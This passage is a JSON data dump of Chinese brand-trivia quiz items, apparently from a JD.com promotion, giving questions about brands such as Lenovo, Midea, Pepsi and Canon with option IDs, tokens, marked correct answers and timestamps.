16:48:06","status":"1"},{"questionId":"6101434047","questionIndex":"1","questionStem":"以下哪类产品属于公牛BULL售卖范围?","options":"[{\"optionId\":\"LcUSx0BQiz4m_21X7WIJaQunLDuFX2bA2x-2Ow\",\"optionDesc\":\"加湿器\"},{\"optionId\":\"LcUSx0BQiz4m_21X7WIJavIj1N7CWbsUzCJIRA\",\"optionDesc\":\"墙壁开关\"},{\"optionId\":\"LcUSx0BQiz4m_21X7WIJaN7ZITp3LPpg-oed3g\",\"optionDesc\":\"计算机\"}]","questionToken":"LcUSx0BQiz4m_20F_ioSOAku9qVgitwL4Oim2C5PH4cuOlg5UIrMArdANyo0qWBFzCuzQ24P7pgp8PZHXoca-ta8vaL_FQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_21X7WIJavIj1N7CWbsUzCJIRA\",\"optionDesc\":\"墙壁开关\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434048","questionIndex":"3","questionStem":"品胜第一个移动电源为谁研发?","options":"[{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJafYTRKrkMSjfxEP1FQ\",\"optionDesc\":\"运动员\"},{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJamiMi9Cm-juQxMum4A\",\"optionDesc\":\"探险队\"},{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJaExWl2jX85Od_Hvpsg\",\"optionDesc\":\"艺术家\"}]","questionToken":"LcUSx0BQiz4m8G0H_ioSODSOt4d_PN5KxsIYCWrH0zBL9Iu6Rf-IcdrE8VGV-R8eGBNvDTSFhXwXTAiT9WoJ5x-_v-nZEg","correct":"{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJamiMi9Cm-juQxMum4A\",\"optionDesc\":\"探险队\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434049","questionIndex":"5","questionStem":"品胜是不是CBA的赞助商?","options":"[{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJakyI_N3ObEeDJg7Obw\",\"optionDesc\":\"是\"},{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJaMY_uWzgoI2S_zmZPg\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJaRq2ndJ3Jgj7Pc2sjg\",\"optionDesc\":\"不是\"}]","questionToken":"LcUSx0BQiz4m8W0B_ioSP-IKNxjCDjeI1SR-7BY9-J6yTpV_JQZuUkz-dS_sk9cOAU4meRhAFAcVNGyyCQNRvuJeTxLdEg","correct":"{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJakyI_N3ObEeDJg7Obw\",\"optionDesc\":\"是\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6101434050","questionIndex":"1","questionStem":"品胜的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJaAg7qp8HRZlzdm5-0w\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJaWQE4BnfBXcKIGI9ow\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJauKd1ykv6Z7GERUslQ\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4n-G0F_ioSP6GUciWmzWvzlV8FokTxxsrywlAYXYIC-BvGCLDW3A-KDw3igEG9CszWGkcOBwvqYmUza2alHQ","correct":"{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJauKd1ykv6Z7GERUslQ\",\"optionDesc\":\"黄色\"}","create_time":"2/2/2021 16:48:53","update_time":"2/2/2021 16:48:53","status":"1"},{"questionId":"6101434051","questionIndex":"5","questionStem":"金海马是在什么时候成立的?","options":"[{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJaI-GDzM1VDzUsmA8\",\"optionDesc\":\"成立于1992年\"},{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJav9hdR0Wb7WxNwc_\",\"optionDesc\":\"成立于1990年\"},{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJaZtt32ccY2H69ocu\",\"optionDesc\":\"成立于1991年\"}]","questionToken":"LcUSx0BQiz4n-W0B_ioSOG3x9J1aGijGH-de6i7TO7fpQTJoZYB5Sz_vkl-AXMZRXlPmtXb310Bk-qx-Orec4pPc2XHioQ","correct":"{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJav9hdR0Wb7WxNwc_\",\"optionDesc\":\"成立于1990年\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6101434052","questionIndex":"4","questionStem":"金海马主要经营什么类目?","options":"[{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJagHmApIkStxoDb8W\",\"optionDesc\":\"家具家居\"},{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJaOSfRx4mGNJf4TcT\",\"optionDesc\":\"服装\"},{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJaUSUZxNa1lq1MXRk\",\"optionDesc\":\"生鲜\"}]","questionToken":"LcUSx0BQiz4n-m0A_ioSP7NPMM0NjLhoSM4GqwcZnZgz5B7CNnc5YOskD-UxbZxDUHZngDguwfMcEb6G10CiVsCjcplOFg","correct":"{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJagHmApIkStxoDb8W\",\"optionDesc\":\"家具家居\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434054","questionIndex":"4","questionStem":"港荣什么时候成立的?","options":"[{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaZYxwCTJNjTNfFM\",\"optionDesc\":\"1992年\"},{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaIOxyGYfc3ypYPY\",\"optionDesc\":\"1991年\"},{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaurGc3KHoEl_oMw\",\"optionDesc\":\"1993年\"}]","questionToken":"LcUSx0BQiz4n_G0A_ioSP26sxm2NpfIN7ocFpAZmR7QgotQ6I43Vv92nyMU4Ed5Rp8cdLe2QOPUyXQwjsAUyGlkVPYFFcA","correct":"{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaurGc3KHoEl_oMw\",\"optionDesc\":\"1993年\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434055","questionIndex":"3","questionStem":"小度在哪一年春晚闪亮登场?","options":"[{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJaTP78QfL5sXZSdlH\",\"optionDesc\":\"2008\"},{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJaOtsxVdhN23LDNEM\",\"optionDesc\":\"2018\"},{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJan3GotWMIa1xuMzy\",\"optionDesc\":\"2019\"}]","questionToken":"LcUSx0BQiz4n_W0H_ioSP0cIfllxmjZkegvexZgevn4QWVd7XFKfvmrNDg-S0pmfNspRZidb4qVjkAjf9K8yg-gzv8Vl9w","correct":"{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJan3GotWMIa1xuMzy\",\"optionDesc\":\"2019\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434056","questionIndex":"5","questionStem":"小度智能耳机支持哪种语言同声翻译?","options":"[{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJajyOKDLwtXvbY94f\",\"optionDesc\":\"中英\"},{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJaLvc6Gu-Bxa5UK4Y\",\"optionDesc\":\"中法\"},{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJaWPXiEr0GoNcAggH\",\"optionDesc\":\"中日\"}]","questionToken":"LcUSx0BQiz4n_m0B_ioSP6BZY_m9UY9JAFwW4Buin6UhwBurz-zmOMPfaX8plKZv1-RIU68OTMCcnyxMEV4bx_lRHX7kaA","correct":"{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJajyOKDLwtXvbY94f\",\"optionDesc\":\"中英\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434057","questionIndex":"4","questionStem":"小度X8是哪一个综艺的明星爆款?","options":"[{\"optionId\":\"LcUSx0BQiz4n_21X7WIJaccGVUKumBhZhME8\",\"optionDesc\":\"向往的生活3\"},{\"optionId\":\"LcUSx0BQiz4n_21X7WIJaBLlUWNIdhtZWJh-\",\"optionDesc\":\"亲爱的客栈3\"},{\"optionId\":\"LcUSx0BQiz4n_21X7WIJataXyxNFaqrJjSay\",\"optionDesc\":\"向往的生活4\"}]","questionToken":"LcUSx0BQiz4n_20A_ioSONYhnA7KtgoFct1igqGWD0q3or1Zg-nOcFdwkjQMp6TRzrs-Q8ry_pCISbwcfCWUmHf27J7R5A","correct":"{\"optionId\":\"LcUSx0BQiz4n_21X7WIJataXyxNFaqrJjSay\",\"optionDesc\":\"向往的生活4\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6101434058","questionIndex":"5","questionStem":"腾达Wi-Fi6有几款?","options":"[{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaq2lnMwEzS0e2SXs\",\"optionDesc\":\"1款\"},{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaFHdcKdD4EZ9T_QO\",\"optionDesc\":\"5款\"},{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaczilEPfv5kVWfsg\",\"optionDesc\":\"3款\"}]","questionToken":"LcUSx0BQiz4n8G0B_ioSOAbcfRsfHcELPp_okAWrV3iigENF8gIQy9ymZRDrteGFx26XTyoE3LOnlQCb5XNnCbOJDUTxOQ","correct":"{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaq2lnMwEzS0e2SXs\",\"optionDesc\":\"1款\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434059","questionIndex":"1","questionStem":"腾达AX3路由器是什么处理器?","options":"[{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJaOvhgqIjnrP37AAVRw\",\"optionDesc\":\"高通\"},{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJaV-JSXXGMWITw5VxcQ\",\"optionDesc\":\"博通\"},{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJavPFFNewFYytG6knIA\",\"optionDesc\":\"联发科\"}]","questionToken":"LcUSx0BQiz4n8W0F_ioSPxcZG6kqGz6TwwgFMJ54wCJ0I4x5neK4J25LYZ1eSLtWhaootc0-67lGklM3PDl3rijcpZCN5w","correct":"{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJavPFFNewFYytG6knIA\",\"optionDesc\":\"联发科\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434060","questionIndex":"2","questionStem":"腾达总部位于哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaI4hSCUQ70g3ZtA\",\"optionDesc\":\"深圳\"},{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJabHJELy8CtVQPp8\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaibZZbLx2hfkRXs\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4k-G0G_ioSOAemjigd4y_Z14E30AQRtB0Z7oMvhzvLkH7br03zQGUfPEDmw98-DQ-IR35sapjP_MaEQeCE9w","correct":"{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaibZZbLx2hfkRXs\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:48:10","update_time":"2/2/2021 16:48:10","status":"1"},{"questionId":"6101434061","questionIndex":"1","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJaCcHO8b5YtSE7Nm6Vg\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJakie_4kIYLr3XXEc6Q\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJabDBzua6wLeEMSjs7A\",\"optionDesc\":\"蓝色\"}]","questionToken":"LcUSx0BQiz4k-W0F_ioSP5vBPOGEacOZ_J6gpuN6bhEgmCnJ8Lj3qN0y09J6u2_Z5ETZ6A8xOndVAsaRw_jq_lBw_8b1yg","correct":"{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJakie_4kIYLr3XXEc6Q\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6101434062","questionIndex":"5","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJaZGDwY68TCK_N1Kf\",\"optionDesc\":\"20岁以下\"},{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJajTdREWHF4vmQiCK\",\"optionDesc\":\"任何年龄段都适用\"},{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJaBFpJqqlb0grmUtm\",\"optionDesc\":\"50岁以上\"}]","questionToken":"LcUSx0BQiz4k-m0B_ioSOPMXRAfFYMFgXzeM3Alv-NwcPhDVMjdQnqBPnAecRzNCjgv0hFWbFcCX2QthzDFW1XqsnFUhJQ","correct":"{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJajTdREWHF4vmQiCK\",\"optionDesc\":\"任何年龄段都适用\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6101434063","questionIndex":"2","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"LcUSx0BQiz4k-21X7WIJauKNJeaqmjM1UnPH\",\"optionDesc\":\"1937年\"},{\"optionId\":\"LcUSx0BQiz4k-21X7WIJac4NZD6yPFAx50wL\",\"optionDesc\":\"2017年\"},{\"optionId\":\"LcUSx0BQiz4k-21X7WIJaMyM-L1Wz0pFc7AR\",\"optionDesc\":\"1957年\"}]","questionToken":"LcUSx0BQiz4k-20G_ioSP06tLLbb7vRk5yd18jIns_HvyVxG4s6v02kvKA-jDXLLJYrXCv_hQvT2MI8sLQFsocIiketvxg","correct":"{\"optionId\":\"LcUSx0BQiz4k-21X7WIJauKNJeaqmjM1UnPH\",\"optionDesc\":\"1937年\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6101434064","questionIndex":"3","questionStem":"联想的logo正确使用是那个?","options":"[{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJar3w1w-MmREoW1Ux5w\",\"optionDesc\":\"lenovo联想\"},{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJactNFc6OoKSLKKmDPw\",\"optionDesc\":\"lenovo\"},{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJaBe8uontxurCzqXOhw\",\"optionDesc\":\"联想\"}]","questionToken":"LcUSx0BQiz4k_G0H_ioSP72CIBdTV8wGKbOdrXH0VzV_5D-0uEfncEvgPLzCdghpNeLq-IHJitTkFQMD6fRlOuhHl8yzXw","correct":"{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJar3w1w-MmREoW1Ux5w\",\"optionDesc\":\"lenovo联想\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6101434065","questionIndex":"4","questionStem":"联想成立于那年?","options":"[{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJaIkQgdn8es1aaKHjLw\",\"optionDesc\":\"1995年\"},{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJalNihzkOB0mjl4FX9Q\",\"optionDesc\":\"1984年\"},{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJaVSw-kEqatVKQ72LuQ\",\"optionDesc\":\"2000年\"}]","questionToken":"LcUSx0BQiz4k_W0A_ioSOJcPG_FRhCFdrVKyCIsueNwUdcNi9x2JcTtDyEhHvwmtTRh9o2DXB1lmjYPeyTUAX2b_Iex9bA","correct":"{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJalNihzkOB0mjl4FX9Q\",\"optionDesc\":\"1984年\"}","create_time":"2/2/2021 16:48:00","update_time":"2/2/2021 16:48:00","status":"1"},{"questionId":"6101434066","questionIndex":"2","questionStem":"联想游戏本系列叫什么名字?","options":"[{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJan6A9krW8QWhOGzW\",\"optionDesc\":\"联想拯救者\"},{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJadpSOOSHRj2XTtbX\",\"optionDesc\":\"联想小新\"},{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJaKqsF9SE-6CPEsi6\",\"optionDesc\":\"联想YOGA\"}]","questionToken":"LcUSx0BQiz4k_m0G_ioSP9sFRyVg_7gWTSjGpxeQQ7QpMeCBtb6rbLHYtLXlhNwtWPhKhXXxBXQfaNrpivbfIK_t-IDSJA","correct":"{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJan6A9krW8QWhOGzW\",\"optionDesc\":\"联想拯救者\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434067","questionIndex":"4","questionStem":"ThinkPad小红点起源于哪年?","options":"[{\"optionId\":\"LcUSx0BQiz4k_21X7WIJan2pVT7Dlgghaq6OmA\",\"optionDesc\":\"1992\"},{\"optionId\":\"LcUSx0BQiz4k_21X7WIJaBo5oVXWw4OfTBW6WA\",\"optionDesc\":\"2077\"},{\"optionId\":\"LcUSx0BQiz4k_21X7WIJaRyNGXlXTttFiuaWFQ\",\"optionDesc\":\"1921\"}]","questionToken":"LcUSx0BQiz4k_20A_ioSOJjJdmPwpQaFq1E0GVuR-5qkT9uynq567keGTPtuiPzyldfmI-wDUHjQr3Y-sfE78joCasZ74g","correct":"{\"optionId\":\"LcUSx0BQiz4k_21X7WIJan2pVT7Dlgghaq6OmA\",\"optionDesc\":\"1992\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434068","questionIndex":"4","questionStem":"最早ThinkPad黑色外观设计灵感来源?","options":"[{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJaU380FYCeEHV0mm-\",\"optionDesc\":\"铅笔盒\"},{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJapCQn2n2lyMgzlqW\",\"optionDesc\":\"松花堂便当盒\"},{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJaJvmvZRumfLlLGp2\",\"optionDesc\":\"盲盒\"}]","questionToken":"LcUSx0BQiz4k8G0A_ioSOO9l2uw56mD9wIlfa16S-tUAocXI-90acTwUI2gQ-KIx-p2F2IBDKOOMCO51zQ6EzJAD5Scf9w","correct":"{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJapCQn2n2lyMgzlqW\",\"optionDesc\":\"松花堂便当盒\"}","create_time":"2/2/2021 16:48:03","update_time":"2/2/2021 16:48:03","status":"1"},{"questionId":"6101434069","questionIndex":"3","questionStem":"ThinkPad经典颜色是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJafg0ktWRq6sBTP9Aiw\",\"optionDesc\":\"白色\"},{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJakt5NNgPZwIYJlWDXQ\",\"optionDesc\":\"黑色\"},{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJaAr1Vmr7CTR6Q50RxA\",\"optionDesc\":\"红色\"}]","questionToken":"LcUSx0BQiz4k8W0H_ioSOCbUD2GaNNdpl1dIGoiWLkyQhqweFz5Dbrq7sNXyO7MgBglbYc_o29luEMWvEhnuUlCVpFemFw","correct":"{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJakt5NNgPZwIYJlWDXQ\",\"optionDesc\":\"黑色\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434070","questionIndex":"3","questionStem":"美的集团成立于哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJaS7dX8SWNP7-7FRI\",\"optionDesc\":\"1986年\"},{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJaPnZh71ZItqDwsNT\",\"optionDesc\":\"1976年\"},{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJauHYo_8MYf4zTBcC\",\"optionDesc\":\"1968年\"}]","questionToken":"LcUSx0BQiz4l-G0H_ioSP2QVjeVuzmR-VBLlhuMpx9TsEIs5Ncdy-sunH9d366wfxL4iRrhD2Cm_tJj75k804s4NCHYaKw","correct":"{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJauHYo_8MYf4zTBcC\",\"optionDesc\":\"1968年\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434071","questionIndex":"1","questionStem":"美的集团的创始人是?","options":"[{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaq7bVWVLzRJjkmiO\",\"optionDesc\":\"何享健\"},{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaMmfjb-adkmIern_\",\"optionDesc\":\"何剑锋\"},{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaUMr5VV5XuJQlaAO\",\"optionDesc\":\"方洪波\"}]","questionToken":"LcUSx0BQiz4l-W0F_ioSOJGOQeLWaNc4Li-3LNow-xFEjqYPYFyoK-jyZPF90DAHvIqfQ8X-MOnuWkmMKSQ3OZMKfinaJA","correct":"{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaq7bVWVLzRJjkmiO\",\"optionDesc\":\"何享健\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6101434072","questionIndex":"5","questionStem":"美的集团总部坐落于?","options":"[{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJaGS5jxgHwxY-Z8D4\",\"optionDesc\":\"芜湖\"},{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJac3V5EhEXv6H8MM8\",\"optionDesc\":\"广州\"},{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJasYOKF5hnuEs9V7B\",\"optionDesc\":\"顺德\"}]","questionToken":"LcUSx0BQiz4l-m0B_ioSOHRHbvHkSWIFIyn4ww20dx_Fe8BHewdtJ5iCKbB7Aju2bqbxkSdmdBr4j01SGBGLpNfKozTfUA","correct":"{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJasYOKF5hnuEs9V7B\",\"optionDesc\":\"顺德\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434073","questionIndex":"5","questionStem":"以下哪个不是美的空调专利技术?","options":"[{\"optionId\":\"LcUSx0BQiz4l-21X7WIJahntP1vTXc0Y4Ms\",\"optionDesc\":\"自清洁专利\"},{\"optionId\":\"LcUSx0BQiz4l-21X7WIJafRTCew22VHt7_0\",\"optionDesc\":\"高频速冷热专利\"},{\"optionId\":\"LcUSx0BQiz4l-21X7WIJaJCAQYVxsMVrugc\",\"optionDesc\":\"无风感专利\"}]","questionToken":"LcUSx0BQiz4l-20B_ioSP4sI_YtM8Mj54R3OXU_n4PxO82ysfuXVL2k_4vaXvEAq0cbU8eu4ZUzvCBl6hvzvOygnNex6Bg","correct":"{\"optionId\":\"LcUSx0BQiz4l-21X7WIJahntP1vTXc0Y4Ms\",\"optionDesc\":\"自清洁专利\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434074","questionIndex":"3","questionStem":"以下哪个品牌不属于美的集团?","options":"[{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJaeF3H9JQmpzEd1U\",\"optionDesc\":\"小天鹅\"},{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJaAx1sGAZivxdZzI\",\"optionDesc\":\"威灵控股\"},{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJang_PTCqyTMi7yw\",\"optionDesc\":\"美菱\"}]","questionToken":"LcUSx0BQiz4l_G0H_ioSP2-21L_mF67JqQ23zYYD6ndoRP-gQtgiqQB3nck3jRdvmYy8weto3tbXeqOINNZDiurwzAteWA","correct":"{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJang_PTCqyTMi7yw\",\"optionDesc\":\"美菱\"}","create_time":"2/2/2021 16:48:13","update_time":"2/2/2021 16:48:13","status":"1"},{"questionId":"6101434075","questionIndex":"1","questionStem":"百事可乐是诞生于哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaV4eU3XuYCWw0Q\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaqp-o3vsPN5EzA\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaKf55_KBr1YeTg\",\"optionDesc\":\"英国\"}]","questionToken":"LcUSx0BQiz4l_W0F_ioSOG3LjZEjJg5p_AgVuaYCsFKWjHhEBt0I6iJhKJNfn8TCJxdlwgbnfNF2VbooDDzZEGZmOprypQ","correct":"{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaqp-o3vsPN5EzA\",\"optionDesc\":\"美国\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434076","questionIndex":"5","questionStem":"以下哪个属于百事可乐旗下品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJaRDYfGSTonhhAnY\",\"optionDesc\":\"芬达\"},{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJaKs98cVZZC5aR58\",\"optionDesc\":\"雪碧\"},{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJakX5Luf1foE8kyw\",\"optionDesc\":\"美年达\"}]","questionToken":"LcUSx0BQiz4l_m0B_ioSOCv_YWOqtNqBIXSB2gEdZ3rCwZvhNnhOwINQqQuGITkUFmv6bFSGSWUHwR5fFjc-N9nM02I0yg","correct":"{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJakX5Luf1foE8kyw\",\"optionDesc\":\"美年达\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434077","questionIndex":"1","questionStem":"百事可乐的品牌主色调是?","options":"[{\"optionId\":\"LcUSx0BQiz4l_21X7WIJabv-XKKL9Fvy5h__1w\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaiNQHknJhTE3YTJoKw\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaFPXHCLB5TMiOnP6Zw\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4l_20F_ioSODsCWhHAQmtfC6Dy1HUbqUGUAMkyYcNMSSBw_fvSM1SY4UjrWY1v416rmjUHxH3H2dFtxuUS7g","correct":"{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaiNQHknJhTE3YTJoKw\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434078","questionIndex":"5","questionStem":"下列哪个是百事可乐无糖独有的口味?","options":"[{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJajPFuLEqxexV-6PKGw\",\"optionDesc\":\"树莓味\"},{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJaDVMCK68XyF6bCN8Fg\",\"optionDesc\":\"生姜味\"},{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJaTNbK66DrPS2-0nGyA\",\"optionDesc\":\"咖啡味\"}]","questionToken":"LcUSx0BQiz4l8G0B_ioSOCUoazR-bAgta8o7P8BFFruCU8IB4Voor-Im8ApVXDjlGrFq2nsqHs1OrdDjhWTnv8ItIkpS0g","correct":"{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJajPFuLEqxexV-6PKGw\",\"optionDesc\":\"树莓味\"}","create_time":"2/2/2021 16:47:58","update_time":"2/2/2021 16:47:58","status":"1"},{"questionId":"6101434079","questionIndex":"1","questionStem":"佳得乐是什么类型的饮料?","options":"[{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJah_J9YTXBJxAt2c\",\"optionDesc\":\"运动饮料\"},{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJaCSfEb17NHlEvZs\",\"optionDesc\":\"果味饮料\"},{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJaTnBuCnLfkYM4ug\",\"optionDesc\":\"功能饮料\"}]","questionToken":"LcUSx0BQiz4l8W0F_ioSOK5PkB-bQNyYT_X2nVW7cTRB60kT3XNKqj9CKiHCxoYwqtdwCL90nX18UXQRm385KRL5QOuRVw","correct":"{\"optionId\":\"LcUSx0BQiz4l8W1X7WIJah_J9YTXBJxAt2c\",\"optionDesc\":\"运动饮料\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434080","questionIndex":"4","questionStem":"国行NS是哪一年正式登陆京东平台的?","options":"[{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJaXelGfAoNZt9xHA\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJaE88VXYHaQL0-DA\",\"optionDesc\":\"2021年\"},{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJalqdXB6HRZFKKv0\",\"optionDesc\":\"2019年\"}]","questionToken":"LcUSx0BQiz4q-G0A_ioSP7maLnhsXuzETABe6gvfgqs63mIzdMV3B5gBMdCx9Esx51viRzNinswixxnzv01DBVh3pLgT0g","correct":"{\"optionId\":\"LcUSx0BQiz4q-G1X7WIJalqdXB6HRZFKKv0\",\"optionDesc\":\"2019年\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 